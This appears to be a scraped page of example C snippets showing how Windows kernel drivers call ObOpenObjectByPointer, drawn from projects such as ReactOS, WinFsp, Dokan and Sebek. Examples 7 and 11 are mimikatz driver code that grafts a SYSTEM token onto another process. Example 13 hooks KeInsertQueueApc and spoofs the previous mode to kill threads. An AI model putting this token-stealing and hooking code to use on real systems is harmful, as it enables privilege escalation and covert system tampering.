Ejemplo n.º 1
0
// Clone of user mode API, again....
// (May be changed if PEB or PROCESS_PARAMETER struct change !!!)
PWSTR	GetEnvironmentStrings(){
	PROCESS_BASIC_INFORMATION	pbi;
	PVOID						p;
	PWSTR						env;
	HANDLE						hCurProcess;

	//FIX ME!! No power for making code to check env block length :)) 
	ULONG						envSize=PAGE_SIZE;


	p=PsGetCurrentProcess();
	
	ObOpenObjectByPointer(p,0,NULL,0,NULL,KernelMode,&hCurProcess);


	UtilsZwRoutine(ZWQUERY_INFORMATION_PROCESS_INDEX,hCurProcess,ProcessBasicInformation,
					&pbi,sizeof(pbi),0);  

	// Get pointer to current process, "process parameters"
	UtilsZwRoutine(ZWREAD_VIRTUAL_MEMORY_INDEX,hCurProcess,(PCHAR)pbi.PebBaseAddress+0x10,&p,sizeof(p),0);

	// Get pointer Environment block...
	UtilsZwRoutine(ZWREAD_VIRTUAL_MEMORY_INDEX,hCurProcess,(PCHAR)p+0x48,&p,sizeof(p),0);

	env=ExAllocatePool(NonPagedPool,envSize);

	// Get pointer Environment block...
	UtilsZwRoutine(ZWREAD_VIRTUAL_MEMORY_INDEX,hCurProcess,p,env,envSize,0);

	ZwClose(hCurProcess);

	return env;
}
Ejemplo n.º 2
0
STATUS
CreateFoo(
    ULONG value,
    PHANDLE Handle
    )
{
    STATUS status;
    PFOO foo;

    //
    // create a foo object
    //
    status = ObCreateObject(fooType, 0, sizeof(FOO), &foo);
    if (status == STATUS_SUCCESS) {
        //
        // initialize the object
        //
        foo->value = value;

        //
        // create a handle to the object
        //
        status = ObOpenObjectByPointer(foo, OBJ_INHERIT, fooType, Handle);

        //
        // we don't need the RAW pointer anymore, so dereference it
        //
        ObDereferenceObject(foo);

        return status;
    }

    return status;
}
Ejemplo n.º 3
0
NTSTATUS OpenProcess(
					 IN ULONG uPID, 
					 OUT PHANDLE pHandle,
					 IN ACCESS_MASK DesiredAccess)  
{   
	NTSTATUS       rtStatus       = STATUS_SUCCESS;   
	PEPROCESS      pEProcess      = NULL;   
	HANDLE         hTagProcess    = NULL;   
	PULONG         uPsProcessType = 0;   
	UNICODE_STRING StrType;

	rtStatus = PsLookupProcessByProcessId((HANDLE)uPID, &pEProcess);   
	if (NT_SUCCESS(rtStatus))   
	{    
		RtlInitUnicodeString(&StrType, L"PsProcessType");   
		uPsProcessType = (PULONG)MmGetSystemRoutineAddress(&StrType);   
		if (uPsProcessType)   
		{   
			rtStatus = ObOpenObjectByPointer(pEProcess, 0, 0, DesiredAccess, (POBJECT_TYPE)*uPsProcessType, UserMode, &hTagProcess);   
			if (NT_SUCCESS(rtStatus))   
			{   
				*pHandle = hTagProcess;   
			}   
		}   
		ObfDereferenceObject(pEProcess);   
	}    
	return rtStatus;   
}   
Ejemplo n.º 4
0
// This code will be very ugly, and im not realy give a damn
VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid){
	CSRMSG			csrmsg;
	HANDLE			hCurProcess;
	ULONG			handleIndex;
	PVOID			p;


	p=PsGetCurrentProcess();
	ObOpenObjectByPointer(p,0,NULL,0,NULL,KernelMode,&hCurProcess);

	// Get the index of the port handle, used to send messages to csrss.
	// FIX ME! find daynamic way to get this address.
	UtilsZwRoutine(ZWREAD_VIRTUAL_MEMORY_INDEX,hCurProcess,0x77fa8168,&handleIndex,sizeof(handleIndex),0);

	ZwClose(hCurProcess);


	RtlZeroMemory(&csrmsg,sizeof(CSRMSG));

	csrmsg.ProcessInformation.hProcess=hProcess;
	csrmsg.ProcessInformation.hThread=hThread;
	csrmsg.ProcessInformation.dwProcessId=pid;
	csrmsg.ProcessInformation.dwThreadId=tid;

	csrmsg.PortMessage.MessageSize=0x4c;
	csrmsg.PortMessage.DataSize=0x34;
	
	csrmsg.CsrssMessage.Opcode=0x10000;

	UtilsZwRoutine(ZWREQUEST_WAIT_REPLY_PORT_INDEX,handleIndex,&csrmsg,&csrmsg);
}
Ejemplo n.º 5
0
NTSTATUS BDKitGetProcessImageNameByEProcess_s( 
	__in PEPROCESS EProcess, 
	__out LPWSTR lpszImageName, 
	__in ULONG Length 
	)
{
	NTSTATUS			nsStatus		= STATUS_INVALID_PARAMETER;
	ULONG				ReturnLength	= 0;
	HANDLE				hProcessHandle	= NULL;
	PIMAGE_NAME_INFO	pImageNameInfo	= NULL;
	PEPROCESS			pCurEProcess	= NULL;

	do 
	{
		BDKit_If_Not_Break_With_Reason(EProcess != NULL && lpszImageName != NULL && Length != 0,
			STATUS_INVALID_PARAMETER);

		pCurEProcess = EProcess;
		ObReferenceObject(pCurEProcess);

		nsStatus = ObOpenObjectByPointer(
			EProcess,
			OBJ_KERNEL_HANDLE,
			NULL,
			PROCESS_QUERY_INFORMATION,
			*PsProcessType,
			KernelMode,
			&hProcessHandle
			);
		BDKit_If_Not_Break(NT_SUCCESS(nsStatus));

		nsStatus = BDKitGetProcessInfo(hProcessHandle, ProcessImageFileName, &pImageNameInfo, &ReturnLength);
		BDKit_If_Not_Break(NT_SUCCESS(nsStatus));

		BDKit_If_Not_Break_With_Reason(pImageNameInfo->Name.Length < Length, STATUS_INFO_LENGTH_MISMATCH);

		RtlCopyMemory(lpszImageName,pImageNameInfo->Name.Buffer,pImageNameInfo->Name.Length);

		nsStatus = STATUS_SUCCESS;

	} while (FALSE);

	BDKitFreePool(pImageNameInfo);
	BDKitCloseHandle(hProcessHandle);
	BDKitCloseObject(pCurEProcess);

	return nsStatus;	
}
Ejemplo n.º 6
0
Archivo: util.c Proyecto: Endt4sk/sebek
// Largely based off of undelete.c from sysinternals
BOOLEAN GetUserSIDFromProcess(EPROCESS *pProcess, UNICODE_STRING *pusSID)
{
	NTSTATUS status;
	ULONG RetLen;
	HANDLE hToken;
	PTOKEN_USER tokenInfoBuffer;
	PACCESS_TOKEN Token;

	Token = PsReferencePrimaryToken(pProcess);

	status = ObOpenObjectByPointer(Token, 0, NULL, TOKEN_QUERY, NULL, KernelMode, &hToken);
	ObDereferenceObject(Token);

	if(!NT_SUCCESS(status))
		return FALSE;

	// Get the size of the sid.
	status = ZwQueryInformationToken(hToken, TokenUser, NULL, 0, &RetLen);
	if(status != STATUS_BUFFER_TOO_SMALL) {
    ZwClose(hToken);
    return FALSE;
  }

	tokenInfoBuffer = (PTOKEN_USER)ExAllocatePoolWithTag(NonPagedPool, RetLen, HELPER_POOL_TAG);
	if(tokenInfoBuffer)
      status = ZwQueryInformationToken(hToken, TokenUser, tokenInfoBuffer, RetLen, &RetLen);
 
  if(!NT_SUCCESS(status) || !tokenInfoBuffer ) {
    DBGOUT(("Error getting token information: %x\n", status));
    if(tokenInfoBuffer)
			ExFreePool(tokenInfoBuffer);
    ZwClose(hToken);
    return FALSE;
  }
  ZwClose(hToken);

  status = RtlConvertSidToUnicodeString(pusSID, tokenInfoBuffer->User.Sid, FALSE);
  ExFreePool(tokenInfoBuffer);

  if(!NT_SUCCESS(status)) {
    DBGOUT(("Unable to convert SID to UNICODE: %x\n", status ));
    return FALSE;
  }

	return TRUE;
}
Ejemplo n.º 7
0
NTSTATUS kkll_m_process_token(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer)
{
	NTSTATUS status = STATUS_SUCCESS;
	PMIMIDRV_PROCESS_TOKEN_FROM_TO pTokenFromTo = (PMIMIDRV_PROCESS_TOKEN_FROM_TO) bufferIn;
	ULONG fromProcessId, toProcessId;
	HANDLE hFromProcess, hFromProcessToken;
	PEPROCESS pFromProcess = PsInitialSystemProcess, pToProcess = NULL;

	if(pTokenFromTo && (szBufferIn == sizeof(MIMIDRV_PROCESS_TOKEN_FROM_TO)))
	{
		if(pTokenFromTo->fromProcessId)
			status = PsLookupProcessByProcessId((HANDLE) pTokenFromTo->fromProcessId, &pFromProcess);
		if(NT_SUCCESS(status) && pTokenFromTo->toProcessId)
			status = PsLookupProcessByProcessId((HANDLE) pTokenFromTo->toProcessId, &pToProcess);
	}

	if(NT_SUCCESS(status))
	{
		status = ObOpenObjectByPointer(pFromProcess, OBJ_KERNEL_HANDLE, NULL, 0, *PsProcessType, KernelMode, &hFromProcess);
		if(NT_SUCCESS(status))
		{
			status = ZwOpenProcessTokenEx(hFromProcess, 0, OBJ_KERNEL_HANDLE, &hFromProcessToken);
			if(NT_SUCCESS(status))
			{
				status = kprintf(outBuffer, L"Token from %u/%-14S\n", PsGetProcessId(pFromProcess), PsGetProcessImageFileName(pFromProcess));
				if(NT_SUCCESS(status))
				{
					if(pToProcess)
						status = kkll_m_process_token_toProcess(szBufferIn, bufferIn, outBuffer, hFromProcessToken, pToProcess);
					else
						status = kkll_m_process_enum(szBufferIn, bufferIn, outBuffer, kkll_m_process_systoken_callback, hFromProcessToken);
				}
				ZwClose(hFromProcessToken);
			}
			ZwClose(hFromProcess);
		}
	}

	if(pToProcess)
		ObDereferenceObject(pToProcess);

	if(pFromProcess && (pFromProcess != PsInitialSystemProcess))
		ObDereferenceObject(pFromProcess);

	return status;
}
Ejemplo n.º 8
0
NTSTATUS NTAPI
AfdBindSocket(PDEVICE_OBJECT DeviceObject, PIRP Irp,
              PIO_STACK_LOCATION IrpSp) {
    NTSTATUS Status = STATUS_SUCCESS;
    PFILE_OBJECT FileObject = IrpSp->FileObject;
    PAFD_FCB FCB = FileObject->FsContext;
    PAFD_BIND_DATA BindReq;
    HANDLE UserHandle = NULL;

    UNREFERENCED_PARAMETER(DeviceObject);

    AFD_DbgPrint(MID_TRACE,("Called\n"));

    if( !SocketAcquireStateLock( FCB ) ) return LostSocket( Irp );
    if( !(BindReq = LockRequest( Irp, IrpSp, FALSE, NULL )) )
        return UnlockAndMaybeComplete( FCB, STATUS_NO_MEMORY,
                                       Irp, 0 );

    if( FCB->LocalAddress ) ExFreePool( FCB->LocalAddress );
    FCB->LocalAddress = TaCopyTransportAddress( &BindReq->Address );

    if( FCB->LocalAddress )
        Status = TdiBuildConnectionInfo( &FCB->AddressFrom,
                                         FCB->LocalAddress );

    if( NT_SUCCESS(Status) )
        Status = WarmSocketForBind( FCB, BindReq->ShareType );
    AFD_DbgPrint(MID_TRACE,("FCB->Flags %x\n", FCB->Flags));

    if (NT_SUCCESS(Status))
    {
        Status = ObOpenObjectByPointer(FCB->AddressFile.Object,
                                       0,
                                       NULL,
                                       MAXIMUM_ALLOWED,
                                       *IoFileObjectType,
                                       Irp->RequestorMode,
                                       &UserHandle);
        if (NT_SUCCESS(Status))
            FCB->State = SOCKET_STATE_BOUND;
    }

    /* MSAFD relies on us returning the address file handle in the IOSB */
    return UnlockAndMaybeComplete( FCB, Status, Irp,
                                   (ULONG_PTR)UserHandle);
}
Ejemplo n.º 9
0
NTSTATUS FspFsvolSetSecurityPrepare(
    PIRP Irp, FSP_FSCTL_TRANSACT_REQ *Request)
{
    PAGED_CODE();

    NTSTATUS Result;
    SECURITY_SUBJECT_CONTEXT SecuritySubjectContext;
    SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
    SECURITY_CLIENT_CONTEXT SecurityClientContext;
    HANDLE UserModeAccessToken;
    PEPROCESS Process;

    /* duplicate the subject context access token into an impersonation token */
    SecurityQualityOfService.Length = sizeof SecurityQualityOfService;
    SecurityQualityOfService.ImpersonationLevel = SecurityIdentification;
    SecurityQualityOfService.ContextTrackingMode = SECURITY_STATIC_TRACKING;
    SecurityQualityOfService.EffectiveOnly = FALSE;
    SeCaptureSubjectContext(&SecuritySubjectContext);
    SeLockSubjectContext(&SecuritySubjectContext);
    Result = SeCreateClientSecurityFromSubjectContext(&SecuritySubjectContext,
        &SecurityQualityOfService, FALSE, &SecurityClientContext);
    SeUnlockSubjectContext(&SecuritySubjectContext);
    SeReleaseSubjectContext(&SecuritySubjectContext);
    if (!NT_SUCCESS(Result))
        return Result;

    ASSERT(TokenImpersonation == SeTokenType(SecurityClientContext.ClientToken));

    /* get a user-mode handle to the impersonation token */
    Result = ObOpenObjectByPointer(SecurityClientContext.ClientToken,
        0, 0, TOKEN_QUERY, *SeTokenObjectType, UserMode, &UserModeAccessToken);
    SeDeleteClientSecurity(&SecurityClientContext);
    if (!NT_SUCCESS(Result))
        return Result;

    /* get a pointer to the current process so that we can close the impersonation token later */
    Process = PsGetCurrentProcess();
    ObReferenceObject(Process);

    /* send the user-mode handle to the user-mode file system */
    FspIopRequestContext(Request, RequestAccessToken) = UserModeAccessToken;
    FspIopRequestContext(Request, RequestProcess) = Process;
    Request->Req.SetSecurity.AccessToken = (UINT_PTR)UserModeAccessToken;

    return STATUS_SUCCESS;
}
Ejemplo n.º 10
0
NTSTATUS BDKitTerminateProcessByAPI( __in PEPROCESS EProcess, __in ULONG ExitCode )
{
	NTSTATUS	nsStatus	= STATUS_UNSUCCESSFUL;
	HANDLE		hProcess	= NULL;
	BOOLEAN		bAttach		= FALSE;
	KAPC_STATE	kApcState	= {0x00};

	do 
	{
		if ( bAttach == TRUE )
		{
			_KeStackAttachProcess ((PKPROCESS)EProcess, &kApcState);

			nsStatus = ZwTerminateProcess (0, STATUS_SUCCESS);
		}
		else
		{
			nsStatus = ObOpenObjectByPointer (
				EProcess,
				OBJ_KERNEL_HANDLE, 
				NULL,
				PROCESS_ALL_ACCESS,
				NULL,
				KernelMode,
				&hProcess
				);
			BDKit_If_Not_Break(NT_SUCCESS(nsStatus));

			nsStatus = ZwTerminateProcess (hProcess, ExitCode);
		}
		BDKit_If_Not_Break(NT_SUCCESS(nsStatus));

	} while (FALSE);

	if ( IsKernelHandle(hProcess, KernelMode) )
	{
		BDKitCloseHandle(hProcess);
	}
	//BDKitCloseObject(EProcess);

	return nsStatus;
}
Ejemplo n.º 11
0
NTSTATUS kkll_m_process_token_toProcess(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer, HANDLE hSrcToken, PEPROCESS pToProcess)
{
	PROCESS_ACCESS_TOKEN ProcessTokenInformation = {NULL, NULL};
	HANDLE hToProcess;
	PULONG pFlags2 = NULL;
	NTSTATUS status;
	HANDLE processId = PsGetProcessId(pToProcess);
	PCHAR processName = PsGetProcessImageFileName(pToProcess);

	status = ObOpenObjectByPointer(pToProcess, OBJ_KERNEL_HANDLE, NULL, 0, *PsProcessType, KernelMode, &hToProcess);
	if(NT_SUCCESS(status))
	{
		status = ZwDuplicateToken(hSrcToken, 0, NULL, FALSE, TokenPrimary, &ProcessTokenInformation.Token);
		if(NT_SUCCESS(status))
		{
			if(KiwiOsIndex >= KiwiOsIndex_VISTA)
			{
				pFlags2 = (PULONG) (((ULONG_PTR) pToProcess) + EPROCESS_OffSetTable[KiwiOsIndex][EprocessFlags2]);
				if(*pFlags2 & TOKEN_FROZEN_MASK)
					*pFlags2 &= ~TOKEN_FROZEN_MASK;
				else
					pFlags2 = NULL;
			}

			status = ZwSetInformationProcess(hToProcess, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN));
			if(NT_SUCCESS(status))
				status = kprintf(outBuffer, L" * to %u/%-14S\n", processId, processName);
			else
				status = kprintf(outBuffer, L" ! ZwSetInformationProcess 0x%08x for %u/%-14S\n", status, processId, processName);

			if((KiwiOsIndex >= KiwiOsIndex_VISTA) && pFlags2)
				*pFlags2 |= TOKEN_FROZEN_MASK;

			ZwClose(ProcessTokenInformation.Token);
		}
		ZwClose(hToProcess);
	}
	return status;
}
Ejemplo n.º 12
0
NTSTATUS
DokanGetAccessToken(
   __in PDEVICE_OBJECT	DeviceObject,
   __in PIRP			Irp
   )
{
	KIRQL				oldIrql;
    PLIST_ENTRY			thisEntry, nextEntry, listHead;
	PIRP_ENTRY			irpEntry;
	PDokanVCB			vcb;
	PEVENT_INFORMATION	eventInfo;
	PACCESS_TOKEN		accessToken;
	NTSTATUS			status = STATUS_INVALID_PARAMETER;
	HANDLE				handle;
	PIO_STACK_LOCATION	irpSp = NULL;
	BOOLEAN				hasLock = FALSE;
	ULONG				outBufferLen;
	ULONG				inBufferLen;
	PACCESS_STATE		accessState;

	DDbgPrint("==> DokanGetAccessToken\n");

	__try {
		eventInfo		= (PEVENT_INFORMATION)Irp->AssociatedIrp.SystemBuffer;
		ASSERT(eventInfo != NULL);

		if (Irp->RequestorMode != UserMode) {
			DDbgPrint("  needs to be called from user-mode\n");
			status = STATUS_INVALID_PARAMETER;
			__leave;
		}

		vcb = DeviceObject->DeviceExtension;
		if (GetIdentifierType(vcb) != VCB) {
			DDbgPrint("  GetIdentifierType != VCB\n");
			status = STATUS_INVALID_PARAMETER;
			__leave;
		}

		irpSp = IoGetCurrentIrpStackLocation(Irp);
		outBufferLen = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
		inBufferLen = irpSp->Parameters.DeviceIoControl.InputBufferLength;
		if (outBufferLen != sizeof(EVENT_INFORMATION) ||
			inBufferLen != sizeof(EVENT_INFORMATION)) {
			DDbgPrint("  wrong input or output buffer length\n");
			status = STATUS_INVALID_PARAMETER;
			__leave;
		}

		ASSERT(KeGetCurrentIrql() <= DISPATCH_LEVEL);
		KeAcquireSpinLock(&vcb->Dcb->PendingIrp.ListLock, &oldIrql);
		hasLock = TRUE;

		// search corresponding IRP through pending IRP list
		listHead = &vcb->Dcb->PendingIrp.ListHead;

		for (thisEntry = listHead->Flink; thisEntry != listHead; thisEntry = nextEntry) {

			nextEntry = thisEntry->Flink;

			irpEntry = CONTAINING_RECORD(thisEntry, IRP_ENTRY, ListEntry);

			if (irpEntry->SerialNumber != eventInfo->SerialNumber)  {
				continue;
			}

			// this irp must be IRP_MJ_CREATE
			if (irpEntry->IrpSp->Parameters.Create.SecurityContext) {
				accessState = irpEntry->IrpSp->Parameters.Create.SecurityContext->AccessState;
			}
			break;
		}
		KeReleaseSpinLock(&vcb->Dcb->PendingIrp.ListLock, oldIrql);
		hasLock = FALSE;

		if (accessState == NULL) {
			DDbgPrint("  can't find pending Irp: %d\n", eventInfo->SerialNumber);
			__leave;
		}

		accessToken = SeQuerySubjectContextToken(&accessState->SubjectSecurityContext);
		if (accessToken == NULL) {
			DDbgPrint("  accessToken == NULL\n");
			__leave;
		}
		// NOTE: Accessing *SeTokenObjectType while acquring sping lock causes
		// BSOD on Windows XP.
		status = ObOpenObjectByPointer(accessToken, 0, NULL, GENERIC_ALL,
			*SeTokenObjectType, KernelMode, &handle);
		if (!NT_SUCCESS(status)) {
			DDbgPrint("  ObOpenObjectByPointer failed: 0x%x\n", status);
			__leave;
		}

		eventInfo->AccessToken.Handle = handle;
		Irp->IoStatus.Information = sizeof(EVENT_INFORMATION);
		status = STATUS_SUCCESS;

	} __finally {
		if (hasLock) {
			KeReleaseSpinLock(&vcb->Dcb->PendingIrp.ListLock, oldIrql);
		}
	}
	DDbgPrint("<== DokanGetAccessToken\n");
	return status;
}
Ejemplo n.º 13
0
//这个函数主要用于确定线程结束时的APC参数
//由于实现关系, ThreadHandle/Thread必须为有效的非系统线程句柄/指针
//Handle  为TRUE时使用ThreadHandle
//        为FALSE使用Thread
BOOLEAN
EnviromentSpecialInitialize(HANDLE ThreadHandle, PVOID Thread, BOOLEAN Handle)
{
    BOOLEAN retVal;
    PETHREAD thread;
    NTSTATUS status;
    KPROCESSOR_MODE previousMode;

    //已经初始化了
    if(PsExitSpecialApc ||
       PspExitApcRundown ||
       PspExitNormalApc)
    {
        return TRUE;
    }

    if(Handle)
    {
        status = ObReferenceObjectByHandle(ThreadHandle,
                                           THREAD_TERMINATE,
                                           *PsThreadType,
                                           KernelMode,
                                           &thread,
                                           NULL);
        if(!NT_SUCCESS(status))
            return FALSE;
        ObDereferenceObject(thread);
    }
    else
    {
        thread = Thread;
        status = ObOpenObjectByPointer(Thread,
                                       OBJ_KERNEL_HANDLE,
                                       NULL,
                                       0,
                                       *PsThreadType,
                                       KernelMode,
                                       &ThreadHandle);
        if(!NT_SUCCESS(status))
            return FALSE;
    }

    EThreadForGetApc = thread;

    retVal = HookFunction(KeInsertQueueApc, 
                          FakeKeInsertQueueApc, 
                          KeInsertQueueApcJumpBack);
    if(!retVal)
    {
        EThreadForGetApc = NULL;
        return retVal;
    }
    
    previousMode = SetCurrentThreadProcessorMode(KernelMode);
    NtTerminateThread(ThreadHandle, 0x12345678);
    SetCurrentThreadProcessorMode(previousMode);


    if(!Handle)
        ZwClose(ThreadHandle);

    return TRUE;
}
Ejemplo n.º 14
0
NTSTATUS GetProcessImageName(HANDLE processId, PUNICODE_STRING ProcessImageName)
{
    NTSTATUS status;
    ULONG returnedLength;
    ULONG bufferLength;
	HANDLE hProcess;
    PVOID buffer;
	PEPROCESS eProcess;
    PUNICODE_STRING imageName;
   
    PAGED_CODE(); // this eliminates the possibility of the IDLE Thread/Process
	
	status = PsLookupProcessByProcessId(processId, &eProcess);

	if(NT_SUCCESS(status))
	{
		status = ObOpenObjectByPointer(eProcess,0, NULL, 0,0,KernelMode,&hProcess);
		if(NT_SUCCESS(status))
		{
		} else {
			DbgPrint("ObOpenObjectByPointer Failed: %08x\n", status);
		}
		ObDereferenceObject(eProcess);
	} else {
		DbgPrint("PsLookupProcessByProcessId Failed: %08x\n", status);
	}
	

    if (NULL == ZwQueryInformationProcess) {

        UNICODE_STRING routineName;

        RtlInitUnicodeString(&routineName, L"ZwQueryInformationProcess");

        ZwQueryInformationProcess =
               (QUERY_INFO_PROCESS) MmGetSystemRoutineAddress(&routineName);

        if (NULL == ZwQueryInformationProcess) {
            DbgPrint("Cannot resolve ZwQueryInformationProcess\n");
        }
    }
    
	/* Query the actual size of the process path */
    status = ZwQueryInformationProcess( hProcess,
                                        ProcessImageFileName,
                                        NULL, // buffer
                                        0, // buffer size
                                        &returnedLength);

    if (STATUS_INFO_LENGTH_MISMATCH != status) {
        return status;
    }

    /* Check there is enough space to store the actual process
	   path when it is found. If not return an error with the
	   required size */
    bufferLength = returnedLength - sizeof(UNICODE_STRING);
    if (ProcessImageName->MaximumLength < bufferLength)
	{
        ProcessImageName->MaximumLength = (USHORT) bufferLength;
        return STATUS_BUFFER_OVERFLOW;   
    }

    /* Allocate a temporary buffer to store the path name */
    buffer = ExAllocatePoolWithTag(NonPagedPool, returnedLength, PROCESS_POOL_TAG);

    if (NULL == buffer) 
	{
        return STATUS_INSUFFICIENT_RESOURCES;   
    }

    /* Retrieve the process path from the handle to the process */
    status = ZwQueryInformationProcess( hProcess,
                                        ProcessImageFileName,
                                        buffer,
                                        returnedLength,
                                        &returnedLength);

    if (NT_SUCCESS(status)) 
	{
        /* Copy the path name */
        imageName = (PUNICODE_STRING) buffer;
        RtlCopyUnicodeString(ProcessImageName, imageName);
    }

    /* Free the temp buffer which stored the path */
    ExFreePoolWithTag(buffer, PROCESS_POOL_TAG);

    return status;
}
Ejemplo n.º 15
0
BOOLEAN
obtest( void )
{
    ULONG i;
    HANDLE Handles[ 2 ];
    NTSTATUS Status;
    OBJECT_TYPE_INITIALIZER ObjectTypeInitializer;

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    RtlInitString( &ObjectTypeAName, "ObjectTypeA" );
    RtlInitString( &ObjectTypeBName, "ObjectTypeB" );

    RtlZeroMemory( &ObjectTypeInitializer, sizeof( ObjectTypeInitializer ) );
    ObjectTypeInitializer.Length = sizeof( ObjectTypeInitializer );
    ObjectTypeInitializer.ValidAccessMask = -1;

    ObjectTypeInitializer.PoolType = NonPagedPool;
    ObjectTypeInitializer.MaintainHandleCount = TRUE;
    ObjectTypeInitializer.DumpProcedure = DumpAProc;
    ObjectTypeInitializer.OpenProcedure = OpenAProc;
    ObjectTypeInitializer.CloseProcedure = CloseAProc;
    ObjectTypeInitializer.DeleteProcedure = DeleteAProc;
    ObjectTypeInitializer.ParseProcedure = ParseAProc;
    ObCreateObjectType(
        &ObjectTypeAName,
        &ObjectTypeInitializer,
        (PSECURITY_DESCRIPTOR)NULL,
        &ObjectTypeA
        );

    ObjectTypeInitializer.PoolType = NonPagedPool;
    ObjectTypeInitializer.MaintainHandleCount = FALSE;
    ObjectTypeInitializer.GenericMapping = MyGenericMapping;
    ObjectTypeInitializer.DumpProcedure = DumpBProc;
    ObjectTypeInitializer.OpenProcedure = NULL;
    ObjectTypeInitializer.CloseProcedure = NULL;
    ObjectTypeInitializer.DeleteProcedure = DeleteBProc;
    ObjectTypeInitializer.ParseProcedure = NULL;
    ObCreateObjectType(
        &ObjectTypeBName,
        &ObjectTypeInitializer,
        (PSECURITY_DESCRIPTOR)NULL,
        &ObjectTypeB
        );

    ObpDumpTypes( NULL );

    RtlInitString( &DirectoryName, "\\MyObjects" );
    InitializeObjectAttributes( &DirectoryObjA,
                                &DirectoryName,
                                OBJ_PERMANENT |
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL
                              );
    NtCreateDirectoryObject( &DirectoryHandle,
                             0,
                             &DirectoryObjA
                           );
    NtClose( DirectoryHandle );

    RtlInitString( &ObjectAName, "\\myobjects\\ObjectA" );
    InitializeObjectAttributes( &ObjectAObjA,
                                &ObjectAName,
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL
                              );

    RtlInitString( &ObjectBName, "\\myobjects\\ObjectB" );
    InitializeObjectAttributes( &ObjectBObjA,
                                &ObjectBName,
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL
                              );

    Status = ObCreateObject(
        KernelMode,
        ObjectTypeA,
        &ObjectAObjA,
        KernelMode,
        NULL,
        (ULONG)sizeof( OBJECTTYPEA ),
        0L,
        0L,
        (PVOID *)&ObjectBodyA
        );

    ObjectA = (POBJECTTYPEA)ObjectBodyA;
    ObjectA->TypeALength = sizeof( *ObjectA );
    for (i=0; i<4; i++) {
        ObjectA->Stuff[i] = i+1;
        }
    KeInitializeEvent( &ObjectA->Event, NotificationEvent, TRUE );

    Status = ObCreateObject(
        KernelMode,
        ObjectTypeB,
        &ObjectBObjA,
        KernelMode,
        NULL,
        (ULONG)sizeof( OBJECTTYPEB ),
        0L,
        0L,
        (PVOID *)&ObjectBodyB
        );

    ObjectB = (POBJECTTYPEB)ObjectBodyB;
    ObjectB->TypeBLength = sizeof( *ObjectB );
    for (i=0; i<16; i++) {
        ObjectB->Stuff[i] = i+1;
        }
    KeInitializeSemaphore ( &ObjectB->Semaphore, 2L, 2L );

    Status = ObInsertObject(
        ObjectBodyA,
        SYNCHRONIZE | 0x3,
        NULL,
        1,
        &ObjectBodyA,
        &ObjectHandleA1
        );

    DbgPrint( "Status: %lx  ObjectBodyA: %lx  ObjectHandleA1: %lx\n",
             Status, ObjectBodyA, ObjectHandleA1
           );

    Status = ObInsertObject(
        ObjectBodyB,
        SYNCHRONIZE | 0x1,
        NULL,
        1,
        &ObjectBodyB,
        &ObjectHandleB1
        );

    DbgPrint( "Status: %lx  ObjectBodyB: %lx  ObjectHandleB1: %lx\n",
             Status, ObjectBodyB, ObjectHandleB1
           );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    RtlInitString( &ObjectAName, "\\MyObjects\\ObjectA" );
    InitializeObjectAttributes( &ObjectAObjA,
                                &ObjectAName,
                                OBJ_OPENIF,
                                NULL,
                                NULL
                              );

    Status = ObCreateObject(
        KernelMode,
        ObjectTypeA,
        &ObjectAObjA,
        KernelMode,
        NULL,
        (ULONG)sizeof( OBJECTTYPEA ),
        0L,
        0L,
        (PVOID *)&ObjectBodyA1
        );


    Status = ObInsertObject(
        ObjectBodyA1,
        SYNCHRONIZE | 0x3,
        NULL,
        1,
        &ObjectBodyA2,
        &ObjectHandleA2
        );

    DbgPrint( "Status: %lx  ObjectBodyA1: %lx  ObjectBodyA2: %lx  ObjectHandleA2: %lx\n",
             Status, ObjectBodyA1, ObjectBodyA2, ObjectHandleA2
           );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );
    NtClose( ObjectHandleA2 );
    ObDereferenceObject( ObjectBodyA2 );    // ObInsertObject,ObjectPointerBias

    NtWaitForSingleObject( ObjectHandleB1, TRUE, NULL );
    Handles[ 0 ] = ObjectHandleA1;
    Handles[ 1 ] = ObjectHandleB1;
    NtWaitForMultipleObjects( 2, Handles, WaitAny, TRUE, NULL );

    ObReferenceObjectByHandle(
        ObjectHandleA1,
        0L,
        ObjectTypeA,
        KernelMode,
        &ObjectBodyA,
        NULL
        );

    ObReferenceObjectByHandle(
        ObjectHandleB1,
        0L,
        ObjectTypeB,
        KernelMode,
        &ObjectBodyB,
        NULL
        );
    DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleA1, ObjectBodyA );

    DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleB1, ObjectBodyB );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    ObReferenceObjectByPointer(
        ObjectBodyA,
        0L,
        ObjectTypeA,
        KernelMode
        );

    ObReferenceObjectByPointer(
        ObjectBodyB,
        0L,
        ObjectTypeB,
        KernelMode
        );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    RtlInitString( &ObjectAPathName, "\\MyObjects\\ObjectA" );
    RtlInitString( &ObjectBPathName, "\\MyObjects\\ObjectB" );
    ObReferenceObjectByName(
        &ObjectAPathName,
        OBJ_CASE_INSENSITIVE,
        0L,
        ObjectTypeA,
        KernelMode,
        NULL,
        &ObjectBodyA
        );

    ObReferenceObjectByName(
        &ObjectBPathName,
        OBJ_CASE_INSENSITIVE,
        0L,
        ObjectTypeB,
        KernelMode,
        NULL,
        &ObjectBodyB
        );

    DbgPrint( "Reference Name %s = %lx\n", ObjectAPathName.Buffer,
            ObjectBodyA );

    DbgPrint( "Reference Name %s = %lx\n", ObjectBPathName.Buffer,
            ObjectBodyB );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    ObDereferenceObject( ObjectBodyA );     // ObInsertObject,ObjectPointerBias
    ObDereferenceObject( ObjectBodyB );

    ObDereferenceObject( ObjectBodyA );     // ObReferenceObjectByHandle
    ObDereferenceObject( ObjectBodyB );

